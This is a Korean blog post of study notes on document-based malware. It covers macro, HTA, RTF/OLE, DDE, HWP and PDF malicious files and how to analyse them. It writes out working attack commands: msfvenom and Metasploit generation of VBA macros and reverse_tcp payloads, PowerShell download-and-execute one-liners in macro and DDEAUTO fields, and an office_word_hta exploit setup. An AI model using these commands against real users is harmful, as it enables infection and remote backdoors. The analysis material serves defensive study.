wonder
정보보안 스터디 - 21주차 1일 - 문서형 악성파일 본문
☞ 문서형 악성파일
최근 악성코드의 대부분은 파워쉘로 진행합니다.
근데 저도 원래 그랬지만 사용자는 파워쉘에 대해서 잘 모릅니다.
그렇기 때문에 아직도 잘 먹히는 이유입니다.
또한 실행파일자체로 들어가는 게 아니라 처음엔 파워쉘을 많이쓰고, exe 드롭퍼 계속낳는 방식입니다.
악성파일은 최근에 와서
신규 기술적인 부분이나 여러가지 접근은 하지만
본질적인 부분은 예전이랑 달라진게 없습니다.
악성파일 구조나 사용하는 방식은 비슷합니다.
매크로 기능, 스크립트가 들어갔다는 것만으로
백신은 그냥 위험하다고 잡습니다.
☞ VBA 매크로 언어
1) 쉽게말해 msfvenom을 사용하여 cmd > 시스템 파일(그림판)을 실행하는 것을 VBA매크로 코드로 만듭니다.(-f vba 형식)
msfvenom -a x86 --platform windows -p windows/exec -f vba cmd='mspaint.exe'
해당 VBA코드를 워드든 엑셀이든 매크로 편집으로 넣어 실행까지 해봅니다.
2)
cmd 명령어사용이 가능하다면 파워쉘도 가능하지 않을까? 로 생각해보면
실행 즉시 다운로더가 가능합니다.
msfvenom -a x86 --platform windows -p windows/exec -f vba \
cmd="PowerShell (New-Object System.Net.WebClient).\
DownloadFile('https://.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278FD2.exe',\
'c:/putty.exe');(New-Object -com Shell.Application).ShellExecute('c:/putty.exe');"
그렇다면 파워쉘을 이용한 다운로더가 된다는건
reverse_tcp나 랜섬웨서 실행도 가능하다는 뜻이 됩니다.
reverse_tcp로 쉘 실행 > 프로세스 migrate 이주가 가능합니다. 따라서 사용자도 모르게 시작프로그램으로 등록하여 백도어로 숨어있을 수 있다는 것입니다.
3)
vba파일형식으로 이뤄져있거나 그렇게 만들었다면
macro_pack을 이용해 docm 형식으로 바꿀 수 있습니다.
macro_pack -f Vba-3.vba -o -G Vba-3.docm
4)
하지만 다운로더를 거치는 것이 아니라 바로 msf를 이용한 reverse_tcp 매크로코드를 생성할 수도 있습니다.
msfconsole -q
use windows/meterpreter/reverse_tcp
set lhost 192.168.2.50
generate -t vba
또한 공격자도 리슨상태로 만들어 놓아야 합니다.
☞ HTA(HTML application)
으로 만들수도 있습니다.
해당 주소로 들어가면 바로 hta가 다운되기 때문에 해당 파일을 배포하여 피해자가 실행하면 바로 reverse_tcp 연결됩니다.
HTML파일을 HTA로 이름만 변경해도 실행이 가능합니다.
공인IP주소로도 연결이 될지는 모르겠지만 hta파일을 다운받는 식입니다.
msfconsole -q
use exploit/windows/fileformat/office_word_hta
set filename Vba-6.doc
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.50
set lport 4444
exploit
http://192.168.2.50:8080/default.hta 로 접속합니다.
☞ RTF
워드패드 형식인데 메모장과 비교하면 폰트크기, 색상 등 속성을 지정할 수 있다는 점입니다.
워드 파일 형식으로도 서로 저장이 가능하기 때문에
파일 분석은 PEVIEW가 아닌
doc파일이지만 RTF느낌이 있다면 파이썬 rtfdump.py로 정보를 확인할 수 있습니다.
☞ OLE
그림, 표 등 embedded 삽입이 가능한 기능입니다.
즉 OLE로 악성코드를 삽입하는 식입니다.
python rtfdump.py -f O RTF-1.doc
OLE 오브젝트 정보를 확인합니다.
python rtfdump.py -s 10 -H RTF-1.doc
10번 내용만 확인합니다.
내용을 확인해보니 자바스크립트를 이용한 악의적인 공격을 하는 것으로 보입니다.
이걸 자세히 확인하기 위해서 html 파일로 dump하여 저장 후 notepad++로 깔끔하게 봅니다.
해당 html을 실행하면
스크립트가 실행되어 파일을 드롭할 수 있습니다.
('C:\Users\Administrator\AppData\Roaming\Microsoft\Word\STARTUP' 디렉토리에 'wordHelpAss.wll')
드롭되는 파일까지 모두 분석해보면
드롭퍼 안에 드롭퍼 가 나옵니다.
결국 rtfdump.py를 이용하면 doc파일을 PEview에 넣어서 분석할 수 있습니다.
☞ DDE
어떤 워드, 파워포인트 등 문서에서든 서로 공유되도록 만들었습니다.
docx에서 기존 매크로가 아닌 다른 방식입니다.
삽입 > 빠른문서요소 > 필드
필드 코드 토글로 DDE 명령어를 넣습니다.
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k mspaint.exe"}
또한 cmd실행이 가능하기 때문에 파워쉘을 통한 다운로더 실행이 가능합니다.
DDEAUTO c:\\windows\\system32\\cmd.exe "/k PowerShell (New-Object System.Net.WebClient).
DownloadFile('https://.com/attachment/cfile7.uf@99DC973E5D30314E278FD2.exe',
'c:/putty.exe');(New-Object -com Shell.Application).ShellExecute('c:/putty.exe');"
실행하면
docx는 zip과 같은 시그니처(PK)로 압축된 형식이기 때문에 압축을 풀어 document.xml를 확인하면
어떤 악성코드가 들어있는지, 즉 구성이 어떻게 되어있는지 분석가능합니다.
참고로 대소문자 크게 안가리는듯하긴하지만 대소문자를 제대로 안쓰면 마크업태그가 나뉘긴합니다.
msf를 이용해 reverse_tcp연결하는 DDE파일을 제작합니다.
doc으로 만듭니다.
doc은 zip이랑 다르게 hxd로 열어서 확인합니다.
☞ HWP
1)
hwpscan2로 확인한 결과 첨부된 파일 즉 OLE가 바이러스로 뜨기 때문에
일단 hex(decompressed) 내용을 확인하고
추출 및 exe파일로 저장하여 PEVIEW분석을 해야합니다.
바로는 안나오기 때문에 MZ위에 부분을 hxd로 삭제하면 bin이든 exe파일이든 분석이 가능합니다.
exe도 드롭퍼라서
한글문서를 눈속임으로 드롭시켜 실행하고
뒤에 다른 동작을 합니다
.2)
하나를 제외한 다른 섹션에는 내용에 a밖에 뜨지 않습니다.
hwp tag를 보니 사이즈가 비상적으로 크므로 악의적인 내용이라고 볼 수 있습니다.
hex(decompressed) 내용을 보면 0c0d가 반복되는 부하 쉘스크립트 입니다.
따라서 hwp문서를 실행하는 즉시 경고창을 묻지 않고 바로 부하가 됩니다.
실제 기업서버라면 부하 때문에 재부팅을 해야하므로 서비스에 영향은 있을 것 같습니다.
3)
tag에 원래는 EOF가 떠야하는데 not EOF로 문서가 덜 끝났다고 합니다.
일단 ps(postcript) 형식이라면 bindata에 있습니다.
eps 어도비 그래픽이미지를 넣었으며 크기를 작게하고 악성코드를 넣는 방식입니다.
문서를 열면 EPS로딩시간이 좀 걸립니다.
무슨동작하는지 알기 위해 procexp 동적 분석을 하면 gbb 등 실행파일이 딸려 실행되는 것을 볼 수 있습니다.
또한 추출한 bin파일을 JSForm처리하여 코드를 확인합니다.
4) 한글 악성코드 제작
도구 > 스크립트 매크로 > 실행 > 코드 편집 > 자바스크립트 형식 파워쉘을 넣습니다.
저장하고 바로 실행합니다.
검사를 해보면 defaultjsscript 부분에서 검출이 되고
추출해보면 제작한 내용을 확인할 수 있습니다.
msf을 이용해 pdf형식의 reverse_tcp를 제작합니다.
pdf파일로 생성이 되고
이걸 피해자 측에서 실행하면 template.pdf를 저장하라고 뜨고 오픈누르면 연결이 됩니다.
pdf 분석도구는 pdfid.py를 사용하며
1이상이 있으면 의심해봐야합니다.
그 후
pdftk로 pdf압축해제해서
peepdf.py를 이용하여 분석합니다.
오브젝트를 계속 열어서 관련 번호를 찾아갑니다. > 10번
pdfdumper로 10번 오브젝트를 exe 파일로 추출한 후
PEView로 오픈해 분석합니다.
'Security > 리버싱' 카테고리의 다른 글
정보보안 스터디 - 21주차 5일 - Volatility를 이용한 메모리 분석 (1) | 2023.03.07 |
---|---|
정보보안 스터디 - 21주차 1일 - 악성코드 난독화 (0) | 2023.03.04 |
정보보안 스터디 - 21주차 2일 - 백도어 분석 (2) | 2023.03.03 |
정보보안 스터디 - 20주차 6일 - 문서형 악성파일 상세연구2 (2) | 2023.03.01 |
정보보안 스터디 - 20주차 5일 - 문서형 악성파일, 난독화 방법 (2) | 2023.02.28 |